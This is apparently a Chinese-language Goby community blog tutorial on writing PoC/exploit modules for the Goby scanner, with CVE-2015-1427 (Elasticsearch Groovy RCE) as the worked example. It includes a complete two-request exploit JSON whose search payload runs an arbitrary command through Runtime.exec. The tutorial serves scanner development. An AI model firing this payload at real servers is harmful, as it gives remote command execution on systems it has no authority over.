技术分享 | 如何编写合格的 PoC 领取 Goby 红队专版

Original zhzyker GobySec 2023-03-29

收录于合集

Goby社区第13 篇技术分享文章

全文共：3906 字预计阅读时间：10 分钟

前言：Goby已经上了某榜（滑稽）的top10了，足以证明Goby的实用性，众所周知Goby还分为内测版、超级内测版、红队专版等等，其中最强大的莫过于红队专版，但红队版的获取是严格限制的，当然也是有获取方法，这里分享如何通过编写 PoC 获取红队专版。

准备环境

Goby为PoC编写提交测试方便发布了...姑且叫PoC版。PoC版主要功能为登录后，可以在线提交 PoC，无需再提交到邮箱。

然后还有两个连接，一个是《Goby漏洞编写指南》：

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

还有《Goby已录漏洞列表》防止PoC撞车：

https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/

第一个 Goby 的 PoC

2.1 简单的 PoC 制作

实际上主要用到的功能在这里：

上图就能看到自定义PoC的界面样子了，具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》，里边有命名规则等详细解释和参考，然后就是Requests的Response处理，Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests。

这里以CVE-2015-1427为例，再完整的RCE中一共需要发送两次Requests。

然后Goby的PoC编辑界面提供了可选的单个或多个Requests，也提供了AND和OR可选的发包逻辑，方便发送多个Requests的自定义

之后的“响应测试”可对Response进行判断可选有返回状态码，Header和Body，大家按照自己需求点一点即可。

CVE-2015-1427需要两个Requests，再来一个即可，这里需要一个RCE返回结果的判断，对于轮子达人来说点一点就好制作很方便。

到这里两次Requests好了，最终的RCE判断也好了剩下就是测试PoC可用性了，上图所示右上角提供了“单ip扫描”直接测试。

在资产扫描完成的界面，输入query点击放大镜可以进行资产匹配，用来确定自己写的query可以正确匹配。

但是仅有一个存在漏洞和不存在漏洞的结果提示，这个查询界面并没有显示Response，所有如果怀疑自己的PoC有问题还需要自己抓包去看，而且多次Requests时仅显示第一个Requests（所以建议该功能有待完善），我再测试PoC时无奈一直在Wireshark抓包看的，比较麻烦。

再去扫描中测试一番，这里每次对PoC进行修改之后都需要重启Goby（点左下角的重启也行）。

2.2 不太简单的PoC中的Exp

你以为PoC做好了？没有，一半了，如开头图中所示需要三个带Exp的漏洞，所有自己的PoC必须要Exp功能，然后Exp功能还没有图形化点一点的界面，而《Goby漏洞编写指南》中对Exp的制作也只有个例子，没看到详细解释（可能我没看全），但是有一个TP的demo，通过这个demo我们也能照猫画虎做Exp了。

制作Exp需要开启图形中的验证接口，你会好奇上图所示的“验证”为什么我没有，需要去手动编辑Exp模块了。

编辑器中可以看到你的PoC的json文件，默认的HasExp值为false，开启改true即可，ExpParams则是前端需要传递给 Exp 的参数，如要执行的命令。以CVE-2015-1427为例需要自定义命令，一个输入参数，需要将ExpParams改为：

"ExpParams": [ { "name": "cmd", "type": "input", "value": "whoami" } ]

不解释上述json了直接感受一下效果：

现在为止GUI中已经开启Exp了，但实际还没有“验证”功能，需要再回到“编辑器”中编写“验证功能”，找到json中的ExploitSteps默认值为null，继续以CVE-2015-1427为例需要两次Requests修改为：

"ExploitSteps": [ "AND", { "Request": { "method": "POST", "uri": "/website/blog/", "follow_redirect": true, "header": { "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/x-www-form-urlencoded" }, "data_type": "text", "data": "{ \"name\": \"cve-2015-1427\" }" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "201", "bz": "" } ] }, "SetVariable": [ "output|lastbody" ] }, { "Request": { "method": "POST", "uri": "/_search?pretty", "follow_redirect": true, "header": { "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/text" }, "data_type": "text",

        "data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"

}, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "460f7ccb583e25e09c0fe100a2c9e90d", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ] } ]

可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的，就不难理解是同样的发包，只不过一个在ScanSteps一个是ExploitSteps，现在应该也就大概理解这个json的大致功能了，上边看着乱简化一下：

"ExploitSteps": [ "AND", { "Request": {xxxxxx}, "ResponseTest": {xxxxxx}, "SetVariable": [xxxxxx] }, { "Request": {xxxxxx}, "ResponseTest": {xxxxxx}, "SetVariable": [xxxxxx] } ]

到这里应该都指知道Requests用来发包，ResponseTest用来判断是否满足判断SetVariable则会在“验证”功能中回显Body。我在看官方提供的Exp demo中发现TP的RCE去掉了ResponseTest，我也跟着试，结果只发送第一个Requests不发第二个，后续找@go0p发现是去掉了ResponseTest的锅。最后控制一下RCE的回显，TP的demo中SetVariable写的是:

"SetVariable": [ "output|lastbody" ]

这里的效果就是显示整个Body。

看起来比较凌乱，不过SetVariable中也有过滤可用，例如regex去正则。

"SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ]

到这里一个带Exp的PoC就制作好了，如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了，找你的wireshark好帮手，慢慢测慢慢排，最终完整的PoC一定出的来。